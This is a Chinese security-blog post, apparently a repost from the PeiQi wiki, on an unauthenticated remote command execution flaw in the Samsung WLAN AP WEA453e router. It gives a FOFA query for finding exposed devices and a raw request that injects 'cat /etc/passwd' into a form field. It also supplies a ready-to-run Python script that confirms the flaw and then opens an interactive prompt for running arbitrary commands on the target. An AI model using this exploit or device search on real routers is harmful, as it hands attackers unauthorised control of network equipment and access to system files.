三星 WLAN AP WEA453e路由器 远程命令执行漏洞

admin 2021年4月1日02:53:23评论184 views字数 2738阅读9分7秒阅读模式

三星 WLAN AP WEA453e路由器  远程命令执行漏洞

 IPDB蓝队威胁共享

帮助红蓝对抗项目,精准判断,已知红蓝对抗项目攻击情报资源池,无需登陆-添加认证进群,即可

三星 WLAN AP WEA453e路由器  远程命令执行漏洞




微信进群须知-获得途径

需要出示红蓝对抗项目参与证明发给我方审核人员,通过后即可进入群内并获取平台也可同全国红蓝对抗项目参与人员共同交流与讨论。点击左下角“阅读原文”即可进入填报审核进入


审核人员: hackjie10086

审核人员:   2785494744


三星 WLAN AP WEA453e路由器  远程命令执行漏洞



:漏洞描述🐑


三星 WLAN AP WEA453e路由器  存在远程命令执行漏洞,可在未授权的情况下执行任意命令获取服务器权限



二:  漏洞影响🐇


三星 WLAN AP WEA453e路由器


三:  漏洞复现🐋

FOFA title=="Samsung WLAN AP"

登录页面如下

三星 WLAN AP WEA453e路由器  远程命令执行漏洞

请求包如下

POST /(download)/tmp/a.txt HTTP/1.1Host: 175.199.182.152Connection: closeContent-Length: 48
command1=shell:cat /etc/passwd| dd of=/tmp/a.txt

三星 WLAN AP WEA453e路由器  远程命令执行漏洞




 四:  漏洞POC🦉

import requestsimport sysimport randomimport reimport base64import timefrom requests.packages.urllib3.exceptions import InsecureRequestWarning
def title(): print('+------------------------------------------') print('+ 33[34mPOC_Des: http://wiki.peiqi.tech 33[0m') print('+ 33[34mGithub : https://github.com/PeiQi0 33[0m') print('+ 33[34m公众号 : PeiQi文库 33[0m') print('+ 33[34mVersion: 三星 WLAN AP WEA453e路由器 33[0m') print('+ 33[36m使用格式: python3 poc.py 33[0m') print('+ 33[36mUrl >>> http://xxx.xxx.xxx.xxx 33[0m') print('+------------------------------------------')
def POC_1(target_url): vuln_url = target_url + "/(download)/tmp/a.txt" headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36", "Content-Type": "application/x-www-form-urlencoded" } data = "command1=shell:cat /etc/passwd| dd of=/tmp/a.txt" try: requests.packages.urllib3.disable_warnings(InsecureRequestWarning) response = requests.post(url=vuln_url, headers=headers, data=data, verify=False, timeout=5) if "root" in response.text and response.status_code == 200: print("33[36m[o] 目标 {} 存在漏洞, 响应为:n{}33[0m".format(target_url, response.text)) while True: cmd = str(input("33[35mCmd >>> 33[0m")) POC_2(target_url, cmd) else: print("33[31m[x] 目标 {} 不存在默认管理员弱口令 33[0m".format(target_url))
except Exception as e: print("33[31m[x] 请求失败 33[0m", e)
def POC_2(target_url, cmd): vuln_url = target_url + "/(download)/tmp/a.txt" headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36", "Content-Type": "application/x-www-form-urlencoded" } data = "command1=shell:{}| dd of=/tmp/a.txt".format(cmd) try: requests.packages.urllib3.disable_warnings(InsecureRequestWarning) response = requests.post(url=vuln_url, headers=headers, data=data, verify=False, timeout=5) print("33[36m{} 33[0m".format(response.text)) except Exception as e: print("33[31m[x] 请求失败 33[0m", e)
if __name__ == '__main__': title() target_url = str(input("33[35mPlease input Attack UrlnUrl >>> 33[0m")) POC_1(target_url)

三星 WLAN AP WEA453e路由器  远程命令执行漏洞

  

三星 WLAN AP WEA453e路由器  远程命令执行漏洞https://github.com/PeiQi0/PeiQi-WIKI-POCGoby & POC 目录中~


三星 WLAN AP WEA453e路由器  远程命令执行漏洞



 五:  关于文库🦉


在线文库:

http://wiki.peiqi.tech


Github:

https://github.com/PeiQi0/PeiQi-WIKI-POC


最后

下面就是文库的公众号啦,更新的文章都会在第一时间推送在交流群和公众号

想要加入交流群的师傅公众号点击交流群加我拉你啦~

想要投稿的师傅加我,我们一起建设文库啦~

别忘了Github下载完给个小星星⭐



同时知识星球也开放运营啦,希望师傅们支持支持啦🐟

知识星球里会持续发布一些漏洞公开信息和技术文章~


三星 WLAN AP WEA453e路由器  远程命令执行漏洞


三星 WLAN AP WEA453e路由器  远程命令执行漏洞


三星 WLAN AP WEA453e路由器  远程命令执行漏洞


本文始发于微信公众号(PeiQi文库):三星 WLAN AP WEA453e路由器 远程命令执行漏洞

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年4月1日02:53:23
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   三星 WLAN AP WEA453e路由器 远程命令执行漏洞http://cn-sec.com/archives/314444.html

发表评论

匿名网友 填写信息